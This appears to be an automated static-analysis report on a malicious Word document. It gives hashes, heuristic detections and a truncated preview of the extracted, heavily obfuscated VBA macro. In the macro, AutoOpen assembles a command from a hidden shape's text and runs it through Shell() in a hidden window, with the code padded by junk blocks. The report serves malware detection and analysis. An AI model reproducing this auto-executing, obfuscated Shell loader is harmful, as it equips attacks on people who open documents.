Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 9d7e5a882dbea3ef…

MALICIOUS

Office (OLE)

80.8 KB Created: 2018-11-14 06:29:00 Authoring application: Microsoft Office Word First seen: 2018-11-20
MD5: 56e8aeb064ac2279bf11215ad06a6eaa SHA-1: 63ee46e95a4c2119b414b4b8acf9a25ac560a1a1 SHA-256: 9d7e5a882dbea3ef9542450ced3b6a43573a8d2f1cd7079a0c148ffab7fe088a
242 Risk Score

Heuristics 7

  • ClamAV: Doc.Malware.Generic-6749591-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Generic-6749591-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 4661 bytes
SHA-256: 1a86a3a5816731a6fe58510d719ab529b383af254ab9389c4869aae186a8e203
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "aDjEsPp"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Function wdYFWz()
Const Jarijh = 540932125 - 540932125
   Dim GIqpzouwV As String
        Select Case vhdFwrB
        Case 1
            GIqpzouwV = ""
        Case 2
            GIqpzouwV = ""
        Case 3
            GIqpzouwV = ""
        Case 4
            GIqpzouwV = ""
        Case 5
            GIqpzouwV = ""
        End Select
        Debug.Print GIqpzouwV & " - " & IIf(zXmWZku <> "", zXmWZku & ": ", "") & NnwOp
   Dim ZMoBwdH As String
        Select Case VTanBnk
        Case 1
            ZMoBwdH = ""
        Case 2
            ZMoBwdH = ""
        Case 3
            ZMoBwdH = ""
        Case 4
            ZMoBwdH = ""
        Case 5
            ZMoBwdH = ""
        End Select
        Debug.Print ZMoBwdH & " - " & IIf(wUCVt <> "", wUCVt & ": ", "") & siQaruz
lLBbXI = "" + bsGoP + BqiRh + Shapes(pHcoa + GlUiF + 1 + RQiSVXi + YtGjuXL).TextFrame.ContainingRange + EljSHG + GUHmGJoi
   Dim MniMwq As String
        Select Case JBZzmJAJ
        Case 1
            MniMwq = ""
        Case 2
            MniMwq = ""
        Case 3
            MniMwq = ""
        Case 4
            MniMwq = ""
        Case 5
            MniMwq = ""
        End Select
        Debug.Print MniMwq & " - " & IIf(SfBUvPCKz <> "", SfBUvPCKz & ": ", "") & NccLSZjz
   Dim uTaHj As String
        Select Case KQBhwzJ
        Case 1
            uTaHj = ""
        Case 2
            uTaHj = ""
        Case 3
            uTaHj = ""
        Case 4
            uTaHj = ""
        Case 5
            uTaHj = ""
        End Select
        Debug.Print uTaHj & " - " & IIf(RmCMLX <> "", RmCMLX & ": ", "") & SBKzQKGJ
GMzRTjBf = Shell(lLBbXI + bfQoDX + lmLnK, Jarijh)
   Dim qMRJR As String
        Select Case NQCRbOmwM
        Case 1
            qMRJR = ""
        Case 2
            qMRJR = ""
        Case 3
            qMRJR = ""
        Case 4
            qMRJR = ""
        Case 5
            qMRJR = ""
        End Select
        Debug.Print qMRJR & " - " & IIf(sLYpDXu <> "", sLYpDXu & ": ", "") & KSFUVr
End Function
Sub AutoOpen()
   Dim dDiviO As String
        Select Case zfNEksCb
        Case 1
            dDiviO = ""
        Case 2
            dDiviO = ""
        Case 3
            dDiviO = ""
        Case 4
            dDiviO = ""
        Case 5
            dDiviO = ""
        End Select
        Debug.Print dDiviO & " - " & IIf(JoVnEEYw <> "", JoVnEEYw & ": ", "") & dzOILPIjE
   Dim vLbzYfmEF As String
        Select Case PGbhWhzCj
        Case 1
            vLbzYfmEF = ""
        Case 2
            vLbzYfmEF = ""
        Case 3
            vLbzYfmEF = ""
        Case 4
            vLbzYfmEF = ""
        Case 5
            vLbzYfmEF = ""
        End Select
        Debug.Print vLbzYfmEF & " - " & IIf(UTzFHJ <> "", UTzFHJ & ": ", "") & kkADs
   Dim scHMSWX As String
        Select Case MAPTAkXv
        Case 1
            scHMSWX = ""
        Case 2
            scHMSWX = ""
        Case 3
            scHMSWX = ""
        Case 4
            scHMSWX = ""
        Case 5
            scHMSWX = ""
        End Select
        Debug.Print scHMSWX & " - " & IIf(zimjcmb <> "", zimjcmb & ": ", "") & rTIPWRZ
   Dim rUjRqK As String
        Select Case CzzlsvLni
        Case 1
            rUjRqK = ""
        Case 2
            rUjRqK = ""
        Case 3
            rUjRqK = ""
        Case 4
            rUjRqK = ""
        Case 5
            rUjRqK = ""
        End Select
        Debug.Print rUjRqK & " - " & IIf(CzJIthiKU <> "", CzJIthiKU & ": ", "") & CFqvZCOcq
wdYFWz
   Dim QRjOkKE As String
        Select Case AhNwcjBB
        Case 1
            QRjOkKE = ""
        Case 2
            QRjOkKE = ""
        Case 3
            QRjOkKE = ""
        Case 4
 
... (truncated)

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